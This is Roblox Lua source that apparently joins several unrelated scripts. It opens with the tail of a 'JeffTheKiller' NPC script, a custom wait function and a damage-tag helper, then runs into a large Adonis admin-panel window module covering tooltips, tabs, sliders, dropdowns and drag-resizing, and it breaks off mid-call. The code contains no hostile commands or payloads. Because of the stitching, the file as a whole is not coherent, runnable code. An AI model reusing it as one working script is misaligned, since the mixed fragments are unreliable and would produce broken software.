JeffTheKillerHumanoid.Sit=false; end; end;
----------------- --| Functions |-- -----------------
function wait(TimeToWait) if TimeToWait ~= nil then local TotalTime = 0 TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() while TotalTime < TimeToWait do TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() end else game:GetService("RunService").Heartbeat:wait() end end function DamageTag(parent,damage) DmgTag = script.DamageTag:clone() DmgTag.Damage.Value = damage DmgTag.creator.Value = game.Players.LocalPlayer DmgTag.Disabled = false DmgTag.Parent = parent end
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end --local client = service.GarbleTable(client) local Player = service.Players.LocalPlayer local Mouse = Player:GetMouse() local InputService = service.UserInputService local gIndex = data.gIndex local gTable = data.gTable local Event = gTable.BindEvent local GUI = gTable.Object local Name = data.Name local Icon = data.Icon local Size = data.Size local Menu = data.Menu local Title = data.Title local Ready = data.Ready local Walls = data.Walls local noHide = data.NoHide local noClose = data.NoClose local onReady = data.OnReady local onClose = data.OnClose local onResize = data.OnResize local onRefresh = data.OnRefresh local onMinimize = data.OnMinimize local ContextMenu = data.ContextMenu local ResetOnSpawn = data.ResetOnSpawn local CanKeepAlive = data.CanKeepAlive local iconClicked = data.IconClicked local SizeLocked = data.SizeLocked or data.SizeLock local CanvasSize = data.CanvasSize local Position = data.Position local Content = data.Content or data.Children local MinSize = data.MinSize or {150, 50} local MaxSize = data.MaxSize or {math.huge, math.huge} local curIcon = Mouse.Icon local isClosed = false local Resizing = false local Refreshing = false local DragEnabled = true local checkProperty = service.CheckProperty local specialInsts = {} local inExpandable local addTitleButton local LoadChildren local BringToFront local functionify local Drag = GUI.Drag local Close = Drag.Close local Hide = Drag.Hide local Iconf = Drag.Icon local Titlef = Drag.Title local Refresh = Drag.Refresh local rSpinner = Refresh.Spinner local Main = Drag.Main local Tooltip = GUI.Desc local ScrollFrame = GUI.Drag.Main.ScrollingFrame local LeftSizeIcon = Main.LeftResizeIcon local RightSizeIcon = Main.RightResizeIcon local RightCorner = Main.RightCorner local LeftCorner = Main.LeftCorner local RightSide = Main.RightSide local LeftSide = Main.LeftSide local TopRight = Main.TopRight local TopLeft = Main.TopLeft local Bottom = Main.Bottom local Top = Main.Top function Expand(ent, point, text, richText) local label = point:FindFirstChild("Label") if label then ent.MouseLeave:Connect(function(x,y) if inExpandable == ent then point.Visible = false end end) ent.MouseMoved:Connect(function(x,y) inExpandable = ent local text = text or ent.Desc.Value label.Text = text label.RichText = richText label.TextScaled = richText local sizeText = label.ContentText local maxWidth = 400 local bounds = service.TextService:GetTextSize(sizeText, label.TextSize, label.Font, Vector2.new(maxWidth, math.huge)) local sizeX, sizeY = bounds.X + 10, bounds.Y + 10 local posX = (x + 6 + sizeX) < GUI.AbsoluteSize.X and (x + 6) or (x - 6 - sizeX) local posY = (y - 6 - sizeY) > 0 and (y - 6 - sizeY) or (y) point.Size = UDim2.fromOffset(sizeX, sizeY) point.Position = UDim2.fromOffset(posX, posY) point.Visible = true end) end end function getNextPos(frame) local farXChild, farYChild for i,v in ipairs(frame:GetChildren()) do if checkProperty(v, "Size") then if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then farXChild = v end if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then farYChild = v end end end return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y) end function LoadChildren(Obj, Children) if Children then local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj) for class,data in pairs(Children) do if type(data) == "table" then if not data.Parent then data.Parent = Obj end create(data.Class or data.ClassName or class, data) elseif type(data) == "function" or type(data) == "string" and not runWhenDone then runWhenDone = functionify(data, Obj) end end if runWhenDone then runWhenDone(Obj) end end end function BringToFront() for i,v in ipairs(Player.PlayerGui:GetChildren()) do if v:FindFirstChild("__ADONIS_WINDOW") then v.DisplayOrder = 100 end end GUI.DisplayOrder = 101 end function addTitleButton(data) local startPos = 1 local realPos local new local original = Hide local diff = (Hide.AbsolutePosition.X + Hide.AbsoluteSize.X) - Close.AbsolutePosition.X; local far = Close; for i,obj in ipairs(Drag:GetChildren()) do if obj:IsA("TextButton") then if obj.Visible and obj.AbsolutePosition.X < far.AbsolutePosition.X then far = obj; end end end; local size = data.Size or original.Size; local xPos = far.Position.X.Offset - (size.X.Offset - diff); realPos = UDim2.new(far.Position.X.Scale, xPos, original.Position.Y.Scale, original.Position.Y.Offset) data.Name = "__TITLEBUTTON" data.Size = size data.Parent = Drag data.ZIndex = data.ZIndex or original.ZIndex data.Position = data.Position or realPos data.TextSize = data.TextSize or original.TextSize data.TextColor3 = data.TextColor3 or original.TextColor3 data.TextScaled = data.TextScaled or original.TextScaled data.TextScaled = data.TextScaled or original.TextScaled data.TextWrapped = data.TextWrapped or original.TextWrapped data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3 data.TextTransparency = data.TextTransparency or original.TextTransparency data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3 data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel --data.TextXAlignment = data.TextXAlignment or original.TextXAlignment --data.TextYAlignment = data.TextYAlignment or original.TextYAlignment data.Font = data.Font or original.Font return create("TextButton", data) end function functionify(func, object) if type(func) == "string" then if object then local env = GetEnv() env.Object = object return client.Core.LoadCode(func, env) else return client.Core.LoadCode(func) end else return func end end function create(class, dataFound, existing) local data = dataFound or {} local class = data.Class or data.ClassName or class local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class) local parent = data.Parent or new.Parent if dataFound then data.Parent = nil if data.Class or data.ClassName then data.Class = nil data.ClassName = nil end if not data.BorderColor3 and checkProperty(new, "BorderColor3") then new.BorderColor3 = dBorder end if not data.CanvasSize and checkProperty(new, "CanvasSize") then new.CanvasSize = dCanvasSize end if not data.BorderSizePixel and checkProperty(new, "BorderSizePixel") then new.BorderSizePixel = dPixelSize end if not data.BackgroundColor3 and checkProperty(new, "BackgroundColor3") then new.BackgroundColor3 = dBackground end if not data.PlaceholderColor3 and checkProperty(new, "PlaceholderColor3") then new.PlaceholderColor3 = dPlaceholderColor end if not data.Transparency and not data.BackgroundTransparency and checkProperty(new, "Transparency") and checkProperty(new, "BackgroundTransparency") then new.BackgroundTransparency = dTransparency elseif data.Transparency and checkProperty(new, "BackgroundTransparency") then new.BackgroundTransparency = data.Transparency end if not data.TextColor3 and not data.TextColor and checkProperty(new, "TextColor3") then new.TextColor3 = dTextColor elseif data.TextColor then new.TextColor3 = data.TextColor end if not data.Font and checkProperty(new, "Font") then data.Font = dFont end if not data.TextSize and checkProperty(new, "TextSize") then data.TextSize = dTextSize end if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then new.BottomImage = dScrollImage new.MidImage = dScrollImage new.TopImage = dScrollImage end if not data.Size and checkProperty(new, "Size") then new.Size = dSize end if not data.Position and checkProperty(new, "Position") then new.Position = dPosition end if not data.ZIndex and checkProperty(new, "ZIndex") then new.ZIndex = dZIndex if parent and checkProperty(parent, "ZIndex") then new.ZIndex = parent.ZIndex end end if data.TextChanged and class == "TextBox" then local textChanged = functionify(data.TextChanged, new) new.FocusLost:Connect(function(enterPressed) textChanged(new.Text, enterPressed, new) end) end if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then local debounce = false; local doDebounce = data.Debounce; local onClick = functionify((data.OnClicked or data.OnClick), new) new.MouseButton1Down:Connect(function() if not debounce then if doDebounce then debounce = true end onClick(new) debounce = false end end) end if data.Events then for event,func in pairs(data.Events) do local realFunc = functionify(func, new) Event(new[event], function(...) realFunc(...) end) end end if data.Visible == nil then data.Visible = true end if data.LabelProps then data.LabelProperties = data.LabelProps end end if class == "Entry" then local label = new.Text local dots = new.Dots local desc = new.Desc local richText = data.RichText or label.RichText label.ZIndex = data.ZIndex or new.ZIndex dots.ZIndex = data.ZIndex or new.ZIndex if data.Text then label.Text = data.Text label.Visible = true data.Text = nil end if data.Desc or data.ToolTip then desc.Value = data.Desc or data.ToolTip data.Desc = nil end Expand(new, Tooltip, nil, richText) else if data.ToolTip then Expand(new, Tooltip, data.ToolTip, data.RichText) end end if class == "ButtonEntry" then local button = new.Button local debounce = false local onClicked = functionify(data.OnClicked, button) new:SetSpecial("DoClick",function() if not debounce then debounce = true if onClicked then onClicked(button) end debounce = false end end) new.Text = data.Text or new.Text button.ZIndex = data.ZIndex or new.ZIndex button.MouseButton1Down:Connect(new.DoClick) end if class == "Boolean" then local enabled = data.Enabled local debounce = false local onToggle = functionify(data.OnToggle, new) local function toggle(isEnabled) if not debounce then debounce = true if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then enabled = false new.Text = "Disabled" elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then enabled = true new.Text = "Enabled" end if onToggle then onToggle(enabled, new) end debounce = false end end --new.ZIndex = data.ZIndex new.Text = (enabled and "Enabled") or "Disabled" new.MouseButton1Down:Connect(function() if onToggle then toggle() end end) new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end) end if class == "StringEntry" then local box = new.Box local ignore new.Text = data.Text or new.Text box.ZIndex = data.ZIndex or new.ZIndex if data.BoxText then box.Text = data.BoxText end if data.BoxProperties then for i,v in pairs(data.BoxProperties) do if checkProperty(box, i) then box[i] = v end end end if data.TextChanged then local textChanged = functionify(data.TextChanged, box) box.Changed:Connect(function(p) if p == "Text" and not ignore then textChanged(box.Text) end end) box.FocusLost:Connect(function(enter) local change = textChanged(box.Text, true, enter) if change then ignore = true box.Text = change ignore = false end end) end new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end) end if class == "Slider" then local mouseIsIn = false local posValue = new.Percentage local slider = new.Slider local bar = new.SliderBar local drag = new.Drag local moving = false local value = 0 local onSlide = functionify(data.OnSlide, new) bar.ZIndex = data.ZIndex or new.ZIndex slider.ZIndex = bar.ZIndex+1 drag.ZIndex = slider.ZIndex+1 drag.Active = true if data.Value then slider.Position = UDim2.new(0.5, -10, 0.5, -10) drag.Position = slider.Position end bar.InputBegan:Connect(function(input) if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then value = ((input.Position.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position posValue.Value = value if onSlide then onSlide(value) end end end) drag.DragBegin:Connect(function() moving = true end) drag.DragStopped:Connect(function() moving = false drag.Position = slider.Position end) drag.Changed:Connect(function() if moving then value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X) if value < 0 then value = 0 elseif value > 1 then value = 1 end slider.Position = UDim2.new(value, -10, 0.5, -10) posValue.Value = value if onSlide then onSlide(value) end end end) new:SetSpecial("SetValue",function(ignore, newValue) if newValue and tonumber(newValue) then value = tonumber(newValue) posValue.Value = value slider.Position = UDim2.new(value, -10, 0.5, -10) drag.Position = slider.Position end end) end if class == "Dropdown" then local menu = new.Menu local downImg = new.Down local selected = new.dSelected local options = data.Options local curSelected = data.Selected or data.Selection local onSelect = functionify(data.OnSelection or data.OnSelect or function()end) local textProps = data.TextProperties local scroller = create("ScrollingFrame", { Parent = menu; Size = UDim2.fromScale(1, 1); Position = UDim2.new(); BackgroundTransparency = 1; ZIndex = 100; }) menu.ZIndex = scroller.ZIndex menu.Parent = GUI menu.Visible = false menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100); menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3 if data.TextAlignment then selected.TextXAlignment = data.TextAlignment selected.Position = UDim2.fromOffset(30, 0); end if data.NoArrow then downImg.Visible = false end new:SetSpecial("MenuContainer", menu) new.Changed:Connect(function(p) if p == "AbsolutePosition" and menu.Visible then menu.Position = UDim2.fromOffset(new.AbsolutePosition.X, new.AbsolutePosition.Y+new.AbsoluteSize.Y) elseif p == "AbsoluteSize" or p == "Parent" then downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0); if data.TextAlignment == "Right" then downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2)) selected.Position = UDim2.fromOffset(new.AbsoluteSize.Y, 0); else downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2)) end selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0); if options and #options <= 6 then menu.Size = UDim2.fromOffset(new.AbsoluteSize.X, 30*#options); else menu.Size = UDim2.fromOffset(new.AbsoluteSize.X, 30*6); scroller:ResizeCanvas(false, true); end end end) selected.ZIndex = new.ZIndex downImg.ZIndex = new.ZIndex if textProps then for i,v in pairs(textProps) do selected[i] = v end end if options then for i,v in pairs(options) do local button = scroller:Add("TextButton", { Text = " ".. tostring(v); Size = UDim2.new(1, -10, 0, 30); Position = UDim2.new(0, 5, 0, 30*(i-1)); ZIndex = menu.ZIndex; BackgroundTransparency = 1; OnClick = function() selected.Text = v; onSelect(v, new); menu.Visible = false end }) if textProps then for i,v in pairs(textProps) do button[i] = v end end end if curSelected then selected.Text = curSelected else selected.Text = "No Selection" end local function showMenu() menu.Position = UDim2.fromOffset(new.AbsolutePosition.X, new.AbsolutePosition.Y+new.AbsoluteSize.Y) menu.Visible = not menu.Visible end selected.MouseButton1Down:Connect(showMenu) downImg.MouseButton1Down:Connect(showMenu) end end if class == "TabFrame" then local buttonsTab = {}; local buttons = create("ScrollingFrame", nil, new.Buttons) local frames = new.Frames local numTabs = 0 local buttonSize = data.ButtonSize or 60 new.BackgroundTransparency = data.BackgroundTransparency or 1 buttons.ZIndex = data.ZIndex or new.ZIndex frames.ZIndex = buttons.ZIndex new:SetSpecial("GetTab", function(ignore, name) return frames:FindFirstChild(name) end) new:SetSpecial("NewTab", function(ignore, name, data) local data = data or {} --local numChildren = #frames:GetChildren() local nextPos = getNextPos(buttons); local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize) local oTextTrans = data.TextTransparency local isOpen = false local disabled = false local tabFrame = create("ScrollingFrame",{ Name = name; Size = UDim2.fromScale(1, 1); Position = UDim2.new(); BorderSizePixel = 0; BackgroundTransparency = data.FrameTransparency or data.Transparency; BackgroundColor3 = data.Color or dSecondaryBackground; ZIndex = buttons.ZIndex; Visible = false; }) local tabButton = create("TextButton",{ Name = name; Text = data.Text or name; Size = UDim2.new(0, textSize.X+20, 1, 0); ZIndex = buttons.ZIndex; Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0); TextColor3 = data.TextColor; BackgroundTransparency = 0.7; TextTransparency = data.TextTransparency; BackgroundColor3 = data.Color or dSecondaryBackground; BorderSizePixel = 0; }) tabFrame:SetSpecial("FocusTab",function() for i,v in ipairs(buttonsTab) do if isGui(v) then v.BackgroundTransparency = (v:IsDisabled() and 0.9) or 0.7 v.TextTransparency = (v:IsDisabled() and 0.9) or 0.7 end end for i,v in ipairs(frames:GetChildren()) do if isGui(v) then v.Visible = false end end tabButton.BackgroundTransparency = data.Transparency or 0 tabButton.TextTransparency = data.TextTransparency or 0 tabFrame.Visible = true if data.OnFocus then data.OnFocus(true) end end) if numTabs == 0 then tabFrame.Visible = true tabButton.BackgroundTransparency = data.Transparency or 0 end tabButton.MouseButton1Down:Connect(function() if not disabled then tabFrame:FocusTab() end end) tabButton.Parent = buttons tabFrame.Parent = frames buttons:ResizeCanvas(true, false) tabFrame:SetSpecial("Disable", function() disabled = true; tabButton.BackgroundTransparency = 0.9; tabButton.TextTransparency = 0.9 end) tabFrame:SetSpecial("Enable", function() disabled = false; tabButton.BackgroundTransparency = 0.7; tabButton.TextTransparency = data.TextTransparency or 0; end) tabButton:SetSpecial("IsDisabled", function() return disabled; end) table.insert(buttonsTab, tabButton); numTabs = numTabs+1; return tabFrame,tabButton end) end if class == "ScrollingFrame" then local genning = false if not data.ScrollBarThickness then data.ScrollBarThickness = dScrollBar end new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom) local list = list or obj; local genHold = {} local entProps = labelProperties or {} genning = genHold new:ClearAllChildren() new.AutomaticCanvasSize = "Y" local layout = service.New("UIListLayout", { Parent = new; Name = "LayoutOrder"; FillDirection = data.Layout_FillDirection or "Vertical"; VerticalAlignment = data.Layout_VerticalAlignment or "Top"; HorizontalAlignment = data.Layout_HorizontalAlignment or "Left"; }) local num = 0 for i,v in pairs(list) do local text = v; local desc; local color local richText; if type(v) == "table" then text = v.Text desc = v.Desc color = v.Color if v.RichTextAllowed or entProps.RichTextAllowed then richText = true end end local label if v.TextSelectable or entProps.TextSelectable then label = create("TextBox",{ Text = " "..tostring(text); ToolTip = desc; Size = UDim2.new(1,-5,0,(entProps.ySize or 20)); Visible = true; BackgroundTransparency = 1; Font = "Arial"; TextSize = 14; TextStrokeTransparency = 0.8; TextXAlignment = "Left"; Position = UDim2.new(0,0,0,num*(entProps.ySize or 20)); RichText = richText or false; TextEditable = false; ClearTextOnFocus = false; }) else label = create("TextLabel",{ Text = " "..tostring(text); ToolTip = desc; Size = UDim2.new(1,-5,0,(entProps.ySize or 20)); Visible = true; BackgroundTransparency = 1; Font = "Arial"; TextSize = 14; TextStrokeTransparency = 0.8; TextXAlignment = "Left"; Position = UDim2.new(0,0,0,num*(entProps.ySize or 20)); RichText = richText or false; }) end if color then label.TextColor3 = color end if labelProperties then for i,v in pairs(entProps) do if checkProperty(label, i) then label[i] = v end end end if genning == genHold then label.Parent = new; else label:Destroy() break end num = num+1 if data.Delay then if type(data.Delay) == "number" then wait(data.Delay) elseif i%100 == 0 then wait(0.1) end end end --new:ResizeCanvas(false, true, false, bottom, 5, 5, 50) if bottom then new.CanvasPosition = Vector2.new(0, layout.AbsoluteContentSize.Y); end genning = nil end) new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak) local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5 local newY, newX = 0,0 if not onX and not onY then onX = false onY = true end for i,v in ipairs(new:GetChildren()) do if v:IsA("GuiObject") then if onY then v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y) v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y) end if onX then v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset) v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset) end local yLower = v.Position.Y.Offset + v.Size.Y.Offset local xLower = v.Position.X.Offset + v.Size.X.Offset newY = math.max(newY, yLower) newX = math.max(newX, xLower) if modBreak then if i%modBreak == 0 then wait(1/60) end end end end if onY then new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding) end if onX then new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset) end if xMax then new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y) end if yMax then new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y) end end) if data.List then new:GenerateList(data.List) data.List = nil end end LoadChildren(new, data.Content or data.Children) data.Children = nil data.Content = nil for i,v in pairs(data) do if checkProperty(new, i) then new[i] = v end end new.Parent = parent return apiIfy(new, data, class),data end function apiIfy(gui, data, class) local newGui = service.Wrap(gui) gui:SetSpecial("Object", gui) gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end) gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end) gui:SetSpecial("Add", function(ignore, class, data) if not data then data = class class = ignore end local new = create(class,data); new.Parent = gui; return apiIfy(new, data, class) end) gui:SetSpecial("Copy", function(ignore, class, gotData) local newData = {} local new for i,v in pairs(data) do newData[i] = v end for i,v in pairs(gotData) do newData[i] = v end new = create(class or data.Class or gui.ClassName, newData); new.Parent = gotData.Parent or gui.Parent; return apiIfy(new, data, class) end) return newGui end function doClose() if not isClosed then isClosed = true if onClose then local r,e = pcall(onClose) if e then warn(e) end end gTable:Destroy() end end function isVisible() return Main.Visible end local hideLabel = Hide:FindFirstChild("TextLabel") function doHide(doHide) local origLH = Hide.LineHeight if doHide or (doHide == nil and Main.Visible) then dragSize = Drag.Size Main.Visible = false Drag.BackgroundTransparency = Main.BackgroundTransparency Drag.BackgroundColor3 = Main.BackgroundColor3 Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset) if hideLabel then hideLabel.Text = "+" else Hide.Text = "+" end Hide.LineHeight = origLH gTable.Minimized = true elseif doHide == false or (doHide == nil and not Main.Visible) then Main.Visible = true Drag.BackgroundTransparency = 1 Drag.Size = dragSize or Drag.Size if hideLabel then hideLabel.Text = "-" else Hide.Text = "-" end Hide.LineHeight = origLH gTable.Minimized = false end if onMinimize then onMinimize(Main.Visible) end if Walls then wallPosition() end end function isInFrame(x, y, frame) if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then return true else return false end end function wallPosition() if gTable.Active then local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y if x < 0 then Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y < 0 then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0) end if x + abx > gx then Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset) end if y + ySize > gy then Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize) end end end function setSize(newSize) if newSize and type(newSize) == "table" then if newSize[1] < 50 then newSize[1] = 50 end if newSize[2] < 50 then newSize[2] = 50 end Drag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset) Main.Size = UDim2.new(1,0,0,newSize[2]) end end function setPosition(newPos) if newPos and typeof(newPos) == "UDim2" then Drag.Position = newPos elseif newPos and type(newPos) == "table" then Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2]) elseif Size and not newPos then Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2) end end if Name then gTable.Name = Name if data.AllowMultiple ~= nil and data.AllowMultiple == false then local found, num = client.UI.Get(Name, GUI, true) if found then doClose() return nil end end end if Size then setSize(Size) end if Position then setPosition(Position) end if Title then Titlef.Text = Title end if CanKeepAlive or not ResetOnSpawn then gTable.CanKeepAlive = true GUI.ResetOnSpawn = false elseif ResetOnSpawn then gTable.CanKeepAlive = false GUI.ResetOnSpawn = true end if Icon then Iconf.Visible = true Iconf.Image = Icon Iconf.Size = UDim2.new(0, 16, 0, 16) Iconf.Position = UDim2.new(0, 6, 0, 5) Iconf.ImageTransparency = 0 end if CanvasSize then ScrollFrame.CanvasSize = CanvasSize end if noClose then Close.Visible = false Refresh.Position = Hide.Position Hide.Position = Close.Position end if noHide then Hide.Visible = false Refresh.Position = Hide.Position end if Walls then Drag.DragStopped:Connect(function() wallPosition() end) end if onRefresh then local debounce = false function DoRefresh() if not Refreshing then local done = false Refreshing = true spawn(function() while gTable.Active and not done do for i = 0,180,10 do rSpinner.Rotation = -i wait(1/60) end end end) onRefresh() wait(1) done = true Refreshing = false end end Refresh.MouseButton1Down:Connect(function() if not debounce then debounce = true DoRefresh() debounce = false end end) Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset) else Refresh.Visible = false end if iconClicked then Iconf.MouseButton1Down(function() iconClicked(data, GUI, Iconf) end) end if Menu then data.Menu.Text = "" data.Menu.Parent = Main data.Menu.Size = UDim2.new(1,-10,0,25) data.Menu.Position = UDim2.new(0,5,0,25) ScrollFrame.Size = UDim2.new(1,-10,1,-55) ScrollFrame.Position = UDim2.new(0,5,0,50) data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216) data.Menu.BorderSizePixel = 0 create("TextLabel",data.Menu) end if not SizeLocked then local startXPos = Drag.AbsolutePosition.X local startYPos = Drag.AbsolutePosition.Y local startXSize = Drag.AbsoluteSize.X local startYSize = Drag.AbsoluteSize.Y local vars = client.Variables local newIcon local inFrame local ReallyInFrame local function readify(obj) obj.MouseEnter:Connect(function() ReallyInFrame = obj end) obj.MouseLeave:Connect(function() if ReallyInFrame == obj then ReallyInFrame = nil end end) end --[[ readify(Drag) readify(ScrollFrame) readify(TopRight) readify(TopLeft) readify(RightCorner) readify(LeftCorner) readify(RightSide) readify(LeftSide) readify(Bottom) readify(Top) --]] function checkMouse(x, y) --// Update later to remove frame by frame pos checking if gTable.Active and Main.Visible then if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then inFrame = nil newIcon = nil elseif isInFrame(x, y, TopRight) then inFrame = "TopRight" newIcon = MouseIcons.TopRight elseif isInFrame(x, y, TopLeft) then inFrame = "TopLeft" newIcon = MouseIcons.TopLeft elseif isInFrame(x, y, RightCorner) then inFrame = "RightCorner" newIcon = MouseIcons.RightCorner elseif isInFrame(x, y, LeftCorner) then inFrame = "LeftCorner" newIcon = MouseIcons.LeftCorner elseif isInFrame(x, y, RightSide) then inFrame = "RightSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, LeftSide) then inFrame = "LeftSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, Bottom) then inFrame = "Bottom" newIcon = MouseIcons.Vertical elseif isInFrame(x, y, Top) then inFrame = "Top" newIcon = MouseIcons.Vertical else inFrame = nil newIcon = nil end else inFrame = nil end if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then if inFrame and newIcon then Mouse.Icon = newIcon client.Variables.MouseLockedBy = gTable elseif client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end end end local function inputStart(x, y) checkMouse(x, y) if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y end end local function inputEnd() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --DragEnabled = true --if Walls then -- wallPosition() --end end end local function inputMoved(x, y) if gTable.Active then if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then curIcon = Mouse.Icon end if Resizing then local moveX = false local moveY = false local newPos = Drag.Position local xPos, yPos = x, y local newX, newY = startXSize, startYSize --DragEnabled = false if Resizing == "TopRight" then newX = (xPos - startXPos) + 3 newY = (startYPos - yPos) + startYSize -1 moveY = true elseif Resizing == "TopLeft" then newX = (startXPos - xPos) + startXSize -1 newY = (startYPos - yPos) + startYSize -1 moveY = true moveX = true elseif Resizing == "RightCorner" then newX = (xPos - startXPos) + 3 newY = (yPos - startYPos) + 3 elseif Resizing == "LeftCorner" then newX = (startXPos - xPos) + startXSize + 3 newY = (yPos - startYPos) + 3 moveX = true elseif Resizing == "LeftSide" then newX = (startXPos - xPos) + startXSize + 3 newY = startYSize moveX = true elseif Resizing == "RightSide" then newX = (xPos - startXPos) + 3 newY = startYSize elseif Resizing == "Bottom" then newX = startXSize newY = (yPos - startYPos) + 3 elseif Resizing == "Top" then newX = startXSize newY = (startYPos - yPos) + startYSize - 1 moveY = true end if newX < MinSize[1] then newX = MinSize[1] end if newY < MinSize[2] then newY = MinSize[2] end if newX > MaxSize[1] then newX = MaxSize[1] end if newY > MaxSize[2] then newY = MaxSize[2] end if moveX then newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset) end if moveY then newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY) end Drag.Position = newPos Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset) Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY) if not Titlef.TextFits then Titlef.Visible = false else Titlef.Visible = true end else checkMouse(x, y) end end end Event(InputService.InputBegan, function(input, gameHandled) if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then local Position = input.Position inputStart(Position.X, 